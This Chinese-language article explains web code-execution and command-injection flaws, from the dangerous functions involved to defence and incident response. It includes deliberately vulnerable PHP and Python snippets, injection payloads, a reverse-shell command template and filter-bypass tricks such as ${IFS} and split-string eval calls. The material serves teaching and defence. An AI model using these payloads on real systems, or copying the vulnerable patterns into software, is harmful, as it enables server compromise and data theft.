干了这么多年安全我一直觉得代码执行和命令执行这类漏洞是最能体现攻防本质的——一个看似人畜无害的参数到后面直接被拉成一条命令甚至一把Shell中间往往只需要一个分号或一个括号。很多研发朋友一听到RCE就头大其实拆开来看无非就是我的输入到底流进了哪个危险的函数这一个问题。这篇文章想聊的就是Web场景下代码执行与命令执行这两类漏洞的完整链路它们分别是什么、底层原理靠哪些函数落地、实际利用时通用的姿势是什么、以及防御端到底该把力气花在哪儿。既有给新人的基础讲解也有适合排查应急的实操视角建议做开发、运维或刚入门安全的朋友都认真过一遍尤其是自己写过接口、处理过参数的同学里面很多坑你可能正在踩。1. 代码执行与命令执行先搞清楚两者到底是不是一回事很多人把代码执行和命令执行搅在一起张口闭口都是RCE但它们在利用层面和修复层面完全是两码事。我的理解是代码执行的核心是注入可以被应用本身解释的代码片段比如给PHP的eval()喂一段PHP代码让Java的表达式引擎解析一段SpEL表达式或者让Python的exec()吃掉一段Python语句——攻击者输入的最终宿主是编程语言的解释器。1.1 边界在哪解释器不同后续思路完全不同而命令执行的核心是**注入可以被操作系统Shell解释的命令**攻击者的最终宿主是/bin/sh或者cmd.exe这一类系统命令解析器。典型的例子就是代码里调用了system()、exec()、os.system()这类函数去处理用户的输入结果输入里混进了; whoami或者| id之类的组合。我经常用一个例子跟人解释代码执行相当于你往自动售货机里塞了一张加工过的购物清单售货机自己按清单出货命令执行相当于你绕过了售货机的按钮直接对着后台的仓库管理员喊了一句把仓库里的所有箱子都搬出来。两者的执行者不同攻击面自然也不一样。1.2 常见的代码执行落地函数不同的语言有各自的心脏我平常见得最多的是这几类语言典型函数/机制说明PHPeval()、assert()、preg_replace()配合/e修饰符PHP 7之后assert()默认不再执行代码需要注意版本差异Pythoneval()、exec()、compile()常常出现在用户自定义表达式、规则引擎场景JavaSpEL表达式、OGNL表达式、EL表达式、ScriptEngine更多是框架层的问题例如某些表达式引擎直接解析用户参数JavaScripteval()、Function()构造器Node.js后端同样存在并且可利用链往往直达child_process这些函数本身不是漏洞它们只是工具。真正的问题是一旦用户可控数据直接拼接进去解释器就分不清哪部分是正常逻辑、哪部分是攻击者的代码执行边界就消失了。1.3 常见的命令执行落地函数命令执行的典型函数同样值得背下来倒背如流才能在做代码审计时一眼扫出来PHPsystem()、exec()、shell_exec()、passthru()、popen()、proc_open()、反引号Pythonos.system()、os.popen()、subprocess.run()、subprocess.call()shellTrue时JavaRuntime.getRuntime().exec()、ProcessBuilder需要说明的是Java本身不会调用Shell解析但很多场景下配合/bin/sh -c才真正触发Node.jschild_process.exec()、child_process.spawn()shelltrue时提示判断一个接口是否真的存在命令执行风险最简单的标准是看用户的输入是否原样进入了上述函数的参数位置并且没有做列表式参数传递。2. 触发条件一个漏洞从参数到Shell的全链路拆解理解了危险函数之后下一步是看一条输入是怎么一步步变成执行的。这个过程看起来五花八门但核心规律非常清晰数据流从HTTP请求进入代码经过简单的过滤或者不过滤最终流进了危险函数。2.1 一条最典型的命令注入链路假设某网站有个工具类功能让你输入IP地址来测试网络连通性。后端代码写得很简洁?php $ip $_GET[ip]; echo shell_exec(ping -c 1 . $ip); ?这个功能本身可能只想校验一个IP但问题在于它把用户输入直接拼到了系统命令后面。如果攻击者提交http://target.com/ping.php?ip8.8.8.8; whoami那么后端实际执行的命令就变成了ping -c 1 8.8.8.8; whoami分号的作用是结束前一条命令开启新命令所以whoami就直接被执行了。这只是最简单的一种拼接方式还有|管道、、||、换行符等一堆操作符可以玩就看过滤规则怎么写了。2.2 从命令执行到Getshell为什么这个洞通常很严重命令执行如果只用来弹个计算器或者看一下当前用户那太浪费了。实际利用时攻击者通常会做三件事信息探测id、whoami、uname -a、cat /etc/passwd摸清机器权限和系统版本写入WebShell利用echo或wget把一句话木马写到Web目录后面就完全转入代码执行赛道了反弹Shell通过bash -i /dev/tcp/IP/PORT 01这类命令连出来获得一个交互式终端。从命令执行到拿到服务器的交互Shell中间只差一个网络连通性的事。这也是为什么我把命令执行跟直接沦陷画等号的原因——大部分情况下它比SQL注入更可怕因为你绕过了所有业务逻辑的约束直接操作了操作系统。2.3 代码执行的典型链路与隐蔽用法相比命令执行代码执行往往更隐蔽。举个例子一个在线编译器/计算器功能后端是Python写的from flask import Flask, request app Flask(__name__) app.route(/calc) def calc(): expr request.args.get(expr) result eval(expr) return str(result)提供一个/calc?expr11的接口业务本意是做个计算器。攻击者传__import__(os).system(whoami)eval()就把Python代码给执行了。这里没有分号、没有管道符号完全是编程语言层面的操作普通的WAF如果不针对表达式引擎做检测很难拦下来。代码执行在现代Web里还有几个高频入口我单独列出来模板注入SSTIJinja2、Freemarker、Velocity这类模板引擎如果允许用户控制模板内容就能在模板语法里塞表达式最终触发代码执行反序列化漏洞PHP的unserialize()、Java的序列化流、Python的pickle攻击者构造恶意对象图在反序列化过程中触发魔法函数或构造器执行任意逻辑表达式引擎滥用很多规则引擎、流程引擎都会解析用户输入的表达式比如某个审批系统允许用户写自定义公式结果底层直接调了SpEL。这一类问题的恐怖之处在于你看不到命令拼接的痕迹代码也没有调用system()但解释器本身就是后门。修复起来的难度往往大于命令注入因为不少场景里表达式功能本身就是业务需求你没法一禁了之。3. 实际利用的通用姿势过滤器不是用来信任的是用来绕过的说到利用姿势必须承认一个现实绝大多数开发者还是会加一点防护的比如过滤特殊字符、黑名单关键词。但这个防护思路本身就带着一股天真劲儿——黑名单永远列不全过滤永远可被编码拆解。我看了无数被绕过的案例常见的绕过手法来来回回就那几招。3.1 命令注入的字符绕过与空格绕过如果你过滤了分号和管道符攻击者还有别的招。空格被过滤时可以用${IFS}或%09水平制表符代替关键词被过滤时可以用拼接或环境变量截断来拼。比如Linux下cat /etc/passwd如果把cat和空格都过滤了可以换成{c,a,t}${IFS}/etc/passwd还有用$*、$这种Shell特殊变量做字符拼接的脏套路本质上是利用Shell解析的灵活性来绕正则。这些手法看起来烦人但它们说明了一个重要规律只要最终拼接进Shell的字符串是攻击者可控的任何黑名单都只是增加成本不是消灭风险。3.2 代码执行的编码绕过与利用链代码执行这边更绕。PHP场景里eval里如果被过滤了system关键词攻击者可以用字符串拼接eval($_GET[code]); // 传入: $_GET[a]sys;$_GET[b]tem;$a.$b(whoami);利用动态调用、可变变量、回调函数黑名单基本形同虚设。Java反序列化场景更是把绕过玩成了艺术——Marshalsec、Fastjson的type、各种Gadget链攻击者比的不是谁的字典全而是谁的利用链更长。我做过一个模拟项目X的审计某系统对exec做了严格过滤连Runtime、ProcessBuilder都拉黑了但漏了ScriptEngineManager结果攻击者用Java脚本引擎把命令执行给重新拼了回来。这个案例我一直用来提醒团队代码执行的绕过往往不是绕过某一个函数而是跳到另一个没被防住的执行入口做安全测试时必须把所有能作为执行入口的机制统一梳理一遍。3.3 实战测试的两个核心注意点在加固自己的系统时或者做授权范围内的安全测试时我有两点建议先决策后payload不要上来就弹Shell。先通过无损的命令如echo一个随机数、sleep固定秒数来验证执行确实发生确认存在漏洞后再决定要不要深化。我见过太多测试人员一上来就rm -rf或reboot那是给自己挖坑。记录完整的请求与响应RCE类漏洞利用时请求和响应的内容、时间戳、编码方式全部要留档因为后续写报告或应急溯源时这些记录是唯一的证据链。注意本文所有利用手法仅限在授权环境、自己的靶机环境中验证未授权测试属于违法行为。做防御的人只有先理解攻击者怎么想才能把门堵得严实。4. 防御端根因修复与纵深缓解哪个都不能省聊完怎么被打穿终于到重头戏了怎么防。我见过很多公司花了大力气上WAF、上RASP但代码里的危险函数还躺在老地方——这属于买了锁但没换门。真正稳妥的防御从来不是单一措施而是从代码审计、开发规范到运行时防护的立体组合。4.1 根因修复别让用户输入进入解释器这是最本质的修复方向没有之一。原则只有一句话尽可能做到数据和代码的严格分离。命令执行场景不要拼接命令字符串。能不用system()就不要用用的时候必须做参数化、列表式传参比如PHP的escapeshellarg()配合数组传参虽然PHP并不原生支持Java尽量用ProcessBuilder的列表构造而不是拼字符串代码执行场景能不用eval/exec就不用。业务需要表达式引擎的时候选沙箱化、白名单只允许特定操作符和函数的方案而不是把整个语言解释器暴露出去反序列化场景避免反序列化不可信数据必须做时使用白名单类过滤如allowedClasses升级依赖库版本。工程实践上该修的部分其实是个清单。我之前处理过一个漏洞代码里本来就是用白名单校验IP的但因为写了个正则简化逻辑结果没有覆盖IPv6和特殊字符被拼出了命令执行。修法是删掉自己写的正则直接用现成库的IP校验函数——能用成熟库解决的永远不要自己造轮子这在安全领域尤其成立。4.2 纵深缓解即使被绕过了也不能让他那么容易拿下Shell防御不能只赌根因修复一定到位。就算代码层漏了下面这些措施也能把攻击者的体验拉低好几个档次措施作用典型手段最小权限运行即使命令执行也拿不到高权限Web服务用独立低权限账号运行禁止root容器与沙箱单点沦陷不波及其他系统Docker/K8s隔离、Firejail、gVisor禁用危险函数PHP运行层面直接掐死disable_functionssystem,exec,passthru,shell_exec网络隔离反弹Shell无法外连出口防火墙规则、IDS对异常外连告警WAF/RASP运行时拦截攻击载荷云WAF、RASP动态Hook危险函数disable_functions这一招在PHP场景下尤为有效不过要做好兼容性测试有些函数虽然危险但是业务正在用。使用之前我习惯先在测试环境跑一遍全量回归把依赖这些函数的业务代码找出来能改则改改不了的再权衡取舍。4.3 开发规范把RCE的坑焊死在编码阶段防御的另一个重要战场是开发阶段。我建议团队里把下面这几条写进Code Review的强制性检查项而不是靠开发者自觉禁止把用户原始输入直接拼接进eval/exec/system必须有一条独立的净化-校验-参数化流程所有输入校验写在一处统一走白名单禁止分散在各接口里各写各的涉及反序列化、表达式解析、模板渲染的接口必须标注危险入口并在发布前做专项安全测试定期运行静态代码扫描工具对PHP、Python、Java都有成熟工具把危险函数调用检测纳入CI流程。这里我想强调一个容易被忽略的点代码执行和命令执行漏洞很多时候不是造出来的而是遗留出来的——多年没人维护的老接口、被反复复制的示例代码、为了快速上线而抄的一段旧逻辑里面全是大坑。所以存量系统的排查比增量代码审查更紧迫。5. 排查与应急给存量系统做一次RCE专项体检如果公司没有专职安全团队但又担心线上系统存在RCE风险应该从哪儿开始查我按自己的实战经验给你一条排查路径照着走基本能覆盖大部分盲区。5.1 从源码层扫描把危险函数和调用栈捞出来第一步把静态代码扫描跑一遍。重点关注的对象代码里的危险函数调用尤其是调用点周围是否有用户输入参与反序列化入口unserialize、ObjectInputStream、pickle.loads等表达式解析入口自定义规则引擎、模板字符串拼接文件上传后路径是否写入可执行文件。扫描结果出来之后不要只看有没有调用危险函数还要看数据流是否可控。我拿自动化扫描的结果进一步做人工复核时习惯在IDE里追踪参数来源从入口函数到危险函数之间有没有$_GET/$_POST、有没有请求体字段、有没有经过数据库读取再拼接。只要数据流闭环了这个点基本就是风险点。5.2 从流量侧找痕迹复盘是否已被利用代码层面的排查只是找洞更紧迫的问题是这个洞是不是已经被人打了。流量侧我能建议的排查思路有几条在日志里捞popen、shell_exec、system(这些函数名以及whoami、id、cat /etc/passwd这类常见探测命令片段搜索特殊Shell操作符组合;、|、、${IFS}、$()出现在参数位置的高频记录关注响应里的异常信息报错回显中是否包含命令执行结果、是否出现uid或系统文件路径等不该出现的字段检查是否有异常出网连接服务器主动连接外部IP的高频端口如常见反弹端口这往往是已经被拿下的强信号。日志全不全面直接影响这个环节的产出。平时我特别强调在接入层统一记录完整请求参数含Query、Body、Header因为一旦出了RCE事件能否溯源很大程度上取决于请求日志留没留下攻击payload。参数脱敏要适可而止别把安全分析要用的数据也一起脱了。5.3 应急响应的快速处置顺序真正确认系统遭到RCE攻击之后处置顺序我总结为四步断网/隔离先切断服务器外联阻止攻击者进一步扩展和内网横向移动取证保留内存快照、进程列表、Shell历史、Web日志和数据库日志这一步别急着删东西止血确认利用点临时封禁攻击IP、在入口加临时拦截规则但不要立刻重启进程因为很多证据在内存里根因修复把漏洞点修掉然后全面排查同类问题最后再恢复服务。处置过程中最容易犯的错是把服务器重装一遍就完事。重装之后攻击面还在原来的代码里只要旧的部署包还在他可能用老方法再打一次。所以我是强烈建议应急之后必须做一次完整的源码审查和依赖库漏洞自查把攻击者的入口真正填上。6. 我对RCE防御的整体感受最后再聊几句个人体会。代码执行和命令执行这两个方向我前前后后跟进了很多年最大的感受是这类漏洞的攻防不平衡防御方其实是有天然优势的只是大多数团队还没有把优势用起来。攻击者需要找到一个能到达解释器的可控数据流而防御者只需要把关键的几条链路封死风险就能下降九成。与其每年被动响应几次安全事件不如花两个星期把现有系统的危险函数清单拉出来一个一个过。第二点呢是想给做开发的朋友说句话不要因为出现RCE漏洞就陷入自我否定。代码执行和命令执行漏洞往往是小疏忽放大风险的结果——一个没过滤的参数、一次为了方便省事的字符串拼接、一个图省事的动态代码调用谁在快速迭代时都可能写出来。关键是建立一套适合自己的checklist把安全检查变成肌肉记忆。如果你手头正维护着一个老系统建议从今天开始做一件事把项目里所有危险函数调用点列个表格标出数据流可控性然后一条一条决定修复还是缓解。这个表格做完你对这个系统被攻破的风险就有底了。